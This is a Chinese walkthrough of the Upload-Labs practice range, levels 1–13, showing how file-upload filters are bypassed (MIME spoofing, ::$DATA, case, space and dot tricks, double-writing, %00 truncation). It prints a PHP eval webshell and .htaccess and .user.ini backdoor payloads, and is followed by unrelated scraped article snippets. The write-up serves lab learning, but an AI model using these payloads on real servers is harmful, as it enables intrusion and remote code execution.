《Upload-Labs》01. Pass 1~13
Upload-Labs
- 索引
- 前言
- Pass-01
- 题解
- Pass-02
- 题解
- 总结
- Pass-03
- 题解
- 总结
- Pass-04
- 题解
- Pass-05
- 题解
- 总结
- Pass-06
- 题解
- 总结
- Pass-07
- 题解
- 总结
- Pass-08
- 题解
- 总结
- Pass-09
- 题解
- Pass-10
- 题解
- Pass-11
- 题解
- Pass-12
- 题解
- 总结
- Pass-13
- 题解
靶场部署在 VMware - Win7。
靶场地址:https://github.com/c0ny1/upload-labs
部分题目可能需要白盒审计。
索引
- Pass-01:前端绕过。
- Pass-02:MIME-Type 绕过。
- Pass-03:黑名单绕过之
::$DATA与双写绕过。 - Pass-04:.htaccess 利用。
- Pass-05:.user.ini 利用。
- Pass-06:黑名单绕过之大小写绕过。
- Pass-07:黑名单绕过之空格绕过。
- Pass-08:黑名单绕过之点【.】绕过。
- Pass-09:黑名单绕过之
::$DATA绕过。 - Pass-10:黑名单绕过之点空格点绕过。
- Pass-11:黑名单绕过之双写绕过。
- Pass-12:白名单绕过之
%00截断绕过,GET 方式。 - Pass-13:白名单绕过之
%00截断绕过,POST 方式。
前言
编写一句话木马并更改后缀为 .jpg。之后的实验都基于这个木马。
<?php echo 'Hello!';@eval($_POST['hello']);
?>

相关文章:
《一句话木马@eval($_POST[“cmd“]);是什么意思》:
https://blog.csdn.net/qq_62708558/article/details/123030828
Pass-01
题解
任何前端验证都是纸老虎。
上传时使用 burp 拦截,并将文件后缀修改回 .php。

上传成功,右键查看文件地址。

木马已成功执行。

尝试蚁剑连接,成功。

Pass-02
题解
上传文件并进行后缀与 Content-Type 绕过。

上传成功。

总结
MIME-Type,资源媒体类型。
MIME(Multipurpose Internet Mail Extensions),多功能网际邮件扩充协议。
- MIME 设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。
- 当 MIME 被 HTTP 协议支持后,使 HTTP 传输的不仅是普通的文本而变得丰富多彩。
- 访问网页获得一个资源后,浏览器通过 MIME Type(媒体资源类型)标识资源类型,更准确的说,是通过 Content-Type 标识。
- 例如:Content-Type: text/html
- 通常只有广泛应用的格式才会获得一个 MIME Type,如果是自定义的格式,一般只能以 application/x- 开头。
常见的 MIME 类型:
- 超文本标记语言文本(.html、.htm):
text/html - 普通文本(.txt):
text/plain - RTF 文本(.rtf):
application/rtf - GIF 图形(.gif):
image/gif - JPEG 图形(.jpeg、.jpg):
image/jpeg - au 声音文件(.au):
audio/basic - MIDI 音乐文件(.mid、.midi):
audio/midi, audio/x-midi - RealAudio音乐文件(.ra、.ram):
audio/x-pn-realaudio - MPEG 文件(.mpg, .mpeg):
video/mpeg - AVI 文件(.avi):
video/x-msvideo - GZIP 文件(.gz):
application/x-gzip - TAR 文件(.tar):
application/x-tar
Pass-03
题解
之前的方法均失败。不过仍然是黑名单过滤。
由于靶场部署在 Windows,利用 Windows 保存文件的特性,尝试将后缀名改为 .php::$DATA。
上传成功但无法访问。

猜测后端过滤了 ::$DATA,尝试以下后缀名(双写绕过):
.php::$D::$DATAATA

上传成功。

总结
::$DATA 是一个与 NTFS 文件系统相关的特殊数据流的命名约定,用于存储与文件关联的额外数据。
NTFS(New Technology File System)是 Windows 上常见的文件系统,支持文件的元数据和附加数据存储。
Windows 上,如果文件名 + ::$DATA,系统会把 ::$DATA 之后的数据当成文件流处理,且保持 ::$DATA 之前的文件名。
例如:文件名为:phpinfo.php::$DATA,Windows 会自动去掉 ::$DATA 将文件保存为 phpinfo.php。
除此以外,服务端对不合法的后缀名进行替换为空是常用手段。
Pass-04
题解
这一题使用 .htaccess 文件进行黑名单绕过。但尝试了很多版本与配置都没办法复现。这里只记录大致过程。
创建一个 .htaccess 文件并写入以下内容。
<FilesMatch "520.jpg">SetHandler application/x-httpd-php
</FilesMatch>
先上传 .htaccess 文件,再上传 jpg 格式后门。即可过关。
但是失败了。可能实现条件比较苛刻。
这里附上几篇参考文章:
《文件上传-uploadlab通关手册》:
https://blog.csdn.net/qq_51153463/article/details/124547943
《upload-labs通关总结|那些年踩过的坑》:
https://blog.csdn.net/m0_56691564/article/details/127614557
Pass-05
题解
已知在靶场服务器的上传文件保存目录下存在 readme.php 文件。
先上传如下 .user.ini 文件。
auto_prepend_file=520.jpg

再上传木马,之后访问 readme.php 文件即可。

总结
参考文章:
《【文件上传漏洞】user.ini留后门》:
https://blog.csdn.net/weixin_53146913/article/details/124840296
《文件上传:.user.ini的妙用》:
https://blog.csdn.net/weixin_52635170/article/details/126962920
Pass-06
题解
上传检测基于黑名单,尝试使用大小写绕过。抓包修改,后缀名部分字母大写。

之后复制链接访问即可。
总结
对于文件名,Windows 系统对大小写不敏感。Linux 系统默认对大小写敏感,如需修改则需要特殊配置。
Pass-07
题解
使用空格绕过。
抓包修改后缀名,在文件名最后加上一个空格。

之后访问即可。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-08
题解
使用点绕过。在文件名最后加上一个点。

上传成功。
总结
Windows 下 x.jpg【空格】 或者 xx.jpg. 这两类文件是不允许存在的。
如果这样命名,系统在保存时会默认去除末尾的空格和点。
Pass-09
题解
原理与 Pass-03 相同,::$DATA 绕过。

Pass-10
题解
点空格点绕过(利用验证规则不完善)。

Pass-11
题解
双写绕过。

服务端对不合法的后缀名进行替换为空是常用手段。
Pass-12
题解
这题通过代码审计可以发现发现 $img_path 变量可控。
使用 %00 截断,让后面的代码不执行。


总结
%00 截断:
- 利用手动添加字符串标识符的方式来将后面的内容进行截断。
- PHP <= 5.3.4。
- php.ini 文件中 magic_quotes_gpc = Off。
Pass-13
题解
与 Pass-12 一样,$img_path 变量依旧可控,但是使用 POST 传送。
POST 传送的数据不需要编码,也就是说数据不会自动解码,此时需要使用 burp 解码。


为山者,基于一篑之土,以成千丈之峭;凿井者,起于三寸之坎,以就万仞之深。
——《刘子》(北齐)刘子
相关文章:
《Upload-Labs》01. Pass 1~13
Upload-Labs 索引前言Pass-01题解 Pass-02题解总结 Pass-03题解总结 Pass-04题解 Pass-05题解总结 Pass-06题解总结 Pass-07题解总结 Pass-08题解总结 Pass-09题解 Pass-10题解 Pass-11题解 Pass-12题解总结 Pass-13题解 靶场部署在 VMware - Win7。 靶场地址:https…...
v-for中的key
在Vue中,当使用v-for指令循环渲染元素时,添加:key是一个推荐做法,尤其是在循环的元素可能会被重新排序、添加或删除的情况下。 :key的作用是为每个循环的元素提供一个唯一的标识符,以便Vue能够跟踪和管理这些元素的状态。Vue使用…...
MySQL学习笔记17
MySQL权限管理grant: 权限说明: Table 6.2 Permissible Privileges for GRANT and REVOKE PrivilegeGrant Table ColumnContextALL [PRIVILEGES]Synonym for “all privileges”Server administrationALTERAlter_privTablesALTER ROUTINEAlter_routin…...
跨境电商建站:选择域名需要注意什么?
在跨境电商建站过程中,选择一个合适的域名至关重要,尤其是对于跨境电商独立站来说,它对未来的seo排名和品牌建设都有着重要影响。关于本文,我会先从域名的定义开始,到域名选择的重要性,再到如何选择一个完美…...
jupyterlab
1. 环境:linux 环境(基于ubuntu-fork 镜像实现) 2. pip install jupyter notebook 3. 编译jupyterlab源代码必须使用 node 14.21.3 高版本编译报错#下载 node 14.21.3 :wget https://nodejs.org/download/release/latest-v14.x/node-v14.21.…...
Oracle的递归公共表表达式
查询节点id为2的所有子节点的数据,包括向下级联 WITH T1 (id, parent_id, data) AS (SELECT id, parent_id, dataFROM nodesWHERE id 2UNION ALLSELECT t.id, t.parent_id, t.dataFROM nodes tJOIN T1 n ON t.parent_id n.id ) SELECT * FROM T1; --建表语句 C…...
解决antd vue ts v-model:value绑定Boolean布尔类型爆红但可以使用
没啥好写的,写点注意点把 前言:在 antd vue中需要用到对应的类型转换,v-model后面补一个value来表明类型,但这也是默认类型,并不是指定类型默认是 (property) value?: string | number | undefined 字符,…...
zblog插件大全-zblog免费插件
在当今数字化时代,拥有一个精彩的博客或网站已经成为许多人追求的目标。通过博客,我们可以分享知识、表达观点,甚至创造收入。然而,维持一个充满新鲜内容的博客却不是一件容易的事情。 ZBlog自动采集插件 什么是ZBlog自动采集插件…...
思科、华为、华三、锐捷网络设备巡检命令
下面为四种设备巡检命令,以便日常查阅: 华三 screen-length disable 取消分页 displayversion 查看版本 display clock 查看日期时钟 display fan 查看风扇状态 display power 查看电源信息 display cpu-usage 查看CPU利用率 display memory 查看…...
正则表达式贪婪模式和非贪婪模式
一、贪婪模式 贪婪模式表示尽可能多的匹配字符串,正则表达式六个量词元字符?、、*、{n}、{n,m}、{n,}默认是贪婪模式 接下来引入一个场景来分析说明 获取html a标签href属性的值 <a href"https://www.baidu.com/" attr"abc"></a>…...
借助 ControlNet 生成艺术二维码 – 基于 Stable Diffusion 的 AI 绘画方案
背景介绍 在过去的数月中,亚马逊云科技已经推出了多篇博文,来介绍如何在亚马逊云科技上部署 Stable Diffusion,或是如何结合 Amazon SageMaker 与 Stable Diffusion 进行模型训练和推理任务。 为了帮助客户快速、安全地在亚马逊云科技上构建、…...
Codeforces Round 892 (Div. 2) - E. Maximum Monogonosity 思维dp 详细解析
题目链接 好久没有写题了复健一下qwq 题目大意 解题思路 这题目还挺妙的 首先考虑比较正常的dp, d p [ i ] [ j ] dp[i][j] dp[i][j] 为前 i i i的长度选 j j j个长度的最大价值,那么转移方程是: 图片来自:图片来源 但是这个是 …...
R语言中的数据重塑
文章目录 介绍reshape2::melt()的用法实例 reshape2::dcast()的用法实例 tidyr::gather()的用法tidyr::spread()的用法 介绍 tidyverse系列包中的函数操作都是针对简洁数据框进行的,对于不是简洁的数据,实现需要进行数据重塑。数据重塑主要包括长宽表的…...
基于Java实现的社区团购系统设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言系统功能具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding)有保障的售后福利 代码参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域…...
nodejs+vue网上婚纱购物系统elementui
便了用户足不出门也能进行购物的理念,方便了婚纱影楼的对商品的进一步管理,互联网成为人们快速获取、发布、和传递信息的重要渠道,它在人们政治、经济、生活等各个方面发挥着重要的作用。未来的时代是网络信息的时代,“网上生活方式”是人类今…...
【2023集创赛】加速科技杯三等奖作品:私密性高精度刷手身份认证系统
本文为2023年第七届全国大学生集成电路创新创业大赛(“集创赛”)加速科技杯三等奖作品分享,参加极术社区的【有奖征集】分享你的2023集创赛作品,秀出作品风采,分享2023集创赛作品扩大影响力,更有丰富电子礼…...
1500*C. Kefa and Park(dfstree)
Kefa and Park - 洛谷 Problem - 580C - Codeforces Examples input 4 1 1 1 0 0 1 2 1 3 1 4 output 2 input 7 1 1 0 1 1 0 0 0 1 2 1 3 2 4 2 5 3 6 3 7 output 2 解析: dfs遍历,记录前一个结点权值是否为1,并且累计路径1的个数…...
【2023保研】双非上岸东南网安
个人情况 学校:henu 专业:信息安全 排名:1/66 英语:六级500 竞赛:蓝桥杯PB国一,ISCC国一,密码数学挑战赛国三,还有其他一些省级水奖 论文:一篇EI在投(三作通…...
Redis与Mybatis
作者在学习Redis整合时使用JDBC与Jedis,但是呢,现如今的环境下,Mybatis系列ORM框架是更受关注的方法,作者有一点点Mybatis基础,Mybatisplus几乎忘的差不多了,现对Redis整合Mybatis相关知识进行梳理…...
MySQL架构 InnoDB存储引擎
1. 什么是Mysql? 我们在开发的时候,我们都需要对业务数据进行存储,这个时候,你们就会用到MySQL、Oracal等数据库。 MySQL它是一个关系型数据库,这种关系型数据库就有Oracal、 MySQL,以及最近很火的PgSQL等。…...
零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?
一、核心优势:专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发,是一款收费低廉但功能全面的Windows NAS工具,主打“无学习成本部署” 。与其他NAS软件相比,其优势在于: 无需硬件改造:将任意W…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
AI Agent与Agentic AI:原理、应用、挑战与未来展望
文章目录 一、引言二、AI Agent与Agentic AI的兴起2.1 技术契机与生态成熟2.2 Agent的定义与特征2.3 Agent的发展历程 三、AI Agent的核心技术栈解密3.1 感知模块代码示例:使用Python和OpenCV进行图像识别 3.2 认知与决策模块代码示例:使用OpenAI GPT-3进…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...
基于数字孪生的水厂可视化平台建设:架构与实践
分享大纲: 1、数字孪生水厂可视化平台建设背景 2、数字孪生水厂可视化平台建设架构 3、数字孪生水厂可视化平台建设成效 近几年,数字孪生水厂的建设开展的如火如荼。作为提升水厂管理效率、优化资源的调度手段,基于数字孪生的水厂可视化平台的…...
《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
如何为服务器生成TLS证书
TLS(Transport Layer Security)证书是确保网络通信安全的重要手段,它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书,可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...
JUC笔记(上)-复习 涉及死锁 volatile synchronized CAS 原子操作
一、上下文切换 即使单核CPU也可以进行多线程执行代码,CPU会给每个线程分配CPU时间片来实现这个机制。时间片非常短,所以CPU会不断地切换线程执行,从而让我们感觉多个线程是同时执行的。时间片一般是十几毫秒(ms)。通过时间片分配算法执行。…...
3403. 从盒子中找出字典序最大的字符串 I
3403. 从盒子中找出字典序最大的字符串 I 题目链接:3403. 从盒子中找出字典序最大的字符串 I 代码如下: class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...
